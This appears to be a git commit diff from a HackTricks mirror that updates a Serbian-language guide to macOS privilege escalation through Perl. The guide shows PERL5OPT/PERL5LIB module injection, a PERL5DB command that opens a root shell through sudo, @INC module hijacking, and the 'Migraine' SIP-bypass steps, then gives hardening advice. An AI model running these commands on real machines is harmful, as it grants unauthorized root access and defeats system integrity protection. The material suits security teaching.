mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
c242da3fc9
commit
6c1119838e
@ -4,7 +4,7 @@
|
||||
|
||||
## Putem `PERL5OPT` & `PERL5LIB` env varijable
|
||||
|
||||
Korišćenjem env varijable PERL5OPT moguće je naterati perl da izvrši proizvoljne komande.\
|
||||
Korišćenjem env varijable **`PERL5OPT`** moguće je naterati **Perl** da izvrši proizvoljne komande kada se interpreter pokrene (čak **pre** nego što se prva linija ciljnog skripta analizira).
|
||||
Na primer, kreirajte ovaj skript:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -22,17 +22,31 @@ package pmod;
|
||||
system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
I zatim koristite env varijable:
|
||||
I zatim koristite env varijable tako da se modul automatski locira i učita:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
## Putem zavisnosti
|
||||
### Ostale zanimljive promenljive okruženja
|
||||
|
||||
Moguće je navesti redosled foldera zavisnosti Perl-a koji se izvršava:
|
||||
* **`PERL5DB`** – kada se interpreter pokrene sa **`-d`** (debugger) flagom, sadržaj `PERL5DB` se izvršava kao Perl kod *unutar* konteksta debagera.
|
||||
Ako možete da utičete na oba, okruženje **i** komandne linijske flagove privilegovanog Perl procesa, možete uraditi nešto poput:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # će otvoriti shell pre izvršavanja skripte
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – na Windows-u ova promenljiva kontroliše koji izvršni fajl shell-a Perl će koristiti kada treba da pokrene shell. Pominje se ovde samo radi potpunosti, jer nije relevantna na macOS-u.
|
||||
|
||||
Iako `PERL5DB` zahteva `-d` switch, uobičajeno je naći skripte za održavanje ili instalaciju koje se izvršavaju kao *root* sa ovim flagom uključenim za detaljno rešavanje problema, čineći promenljivu validnim vektorom eskalacije.
|
||||
|
||||
## Putem zavisnosti (@INC zloupotreba)
|
||||
|
||||
Moguće je nabrojati putanju uključivanja koju Perl će pretraživati (**`@INC`**) pokretanjem:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Što će vratiti nešto poput:
|
||||
Tipičan izlaz na macOS 13/14 izgleda ovako:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
@ -44,17 +58,44 @@ perl -e 'print join("\n", @INC)'
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Neki od vraćenih foldera čak ni ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, **nije** **zaštićen** **SIP-om** i **nalazi se** **pre** foldera **zaštićenih SIP-om**. Stoga, neko bi mogao da zloupotrebi taj folder da doda zavisnosti skripti tako da visoko privilegovana Perl skripta učita to.
|
||||
Neki od vraćenih foldera čak ni ne postoje, međutim **`/Library/Perl/5.30`** postoji, *nije* zaštićen SIP-om i *nalazi se* pre foldera zaštićenih SIP-om. Stoga, ako možete pisati kao *root*, možete postaviti zloćudni modul (npr. `File/Basename.pm`) koji će biti *preferencijalno* učitan od strane bilo kog privilegovanog skripta koji uvozi taj modul.
|
||||
|
||||
> [!WARNING]
|
||||
> Međutim, imajte na umu da **morate biti root da biste pisali u taj folder** i danas ćete dobiti ovaj **TCC prompt**:
|
||||
> I dalje vam je potreban **root** da biste pisali unutar `/Library/Perl`, a macOS će prikazati **TCC** prompt koji traži *Potpunu pristup disku* za proces koji vrši operaciju pisanja.
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
Na primer, ako skripta uvozi **`use File::Basename;`**, bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` koji sadrži kod pod kontrolom napadača.
|
||||
|
||||
Na primer, ako skripta uvozi **`use File::Basename;`**, bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` da bi se izvršio proizvoljan kod.
|
||||
## SIP zaobilaženje putem Migration Assistant (CVE-2023-32369 “Migraine”)
|
||||
|
||||
## References
|
||||
U maju 2023. Microsoft je objavio **CVE-2023-32369**, nazvan **Migraine**, tehnika post-exploatacije koja omogućava *root* napadaču da potpuno **zaobiđe zaštitu integriteta sistema (SIP)**.
|
||||
Ranljiva komponenta je **`systemmigrationd`**, demon sa ovlašćenjem **`com.apple.rootless.install.heritable`**. Svaki podproces koji pokrene ovaj demon nasleđuje ovlašćenje i stoga se izvršava **van** SIP ograničenja.
|
||||
|
||||
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
Među decom koje su identifikovali istraživači je Apple-ov potpisani interpreter:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
Zato što Perl poštuje `PERL5OPT` (a Bash poštuje `BASH_ENV`), zagađenje *okruženja* daemona je dovoljno da se dobije proizvoljna izvršna prava u kontekstu bez SIP-a:
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
Kada `migrateLocalKDC` pokrene, `/usr/bin/perl` se pokreće sa zlonamernim `PERL5OPT` i izvršava `/private/tmp/migraine.sh` *pre nego što se SIP ponovo omogući*. Iz tog skripta možete, na primer, kopirati payload unutar **`/System/Library/LaunchDaemons`** ili dodeliti `com.apple.rootless` proširenu atribut kako biste učinili datoteku **neizbrisivom**.
|
||||
|
||||
Apple je ispravio problem u macOS **Ventura 13.4**, **Monterey 12.6.6** i **Big Sur 11.7.7**, ali stariji ili neispravljeni sistemi ostaju podložni eksploataciji.
|
||||
|
||||
## Preporuke za učvršćivanje
|
||||
|
||||
1. **Obrišite opasne promenljive** – privilegovani launchdaemons ili cron poslovi treba da se pokreću u čistom okruženju (`launchctl unsetenv PERL5OPT`, `env -i`, itd.).
|
||||
2. **Izbegavajte pokretanje interpretera kao root** osim ako nije strogo neophodno. Koristite kompajlirane binarne datoteke ili rano smanjite privilegije.
|
||||
3. **Vendor skripte sa `-T` (taint mode)** tako da Perl ignoriše `PERL5OPT` i druge nesigurne opcije kada je provera taint-a omogućena.
|
||||
4. **Držite macOS ažuriranim** – “Migrena” je potpuno ispravljena u trenutnim izdanjima.
|
||||
|
||||
## Reference
|
||||
|
||||
- Microsoft Security Blog – “Nova macOS ranjivost, Migrena, može zaobići zaštitu integriteta sistema” (CVE-2023-32369), 30. maj 2023.
|
||||
- Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) istraživanje”, maj 2025.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user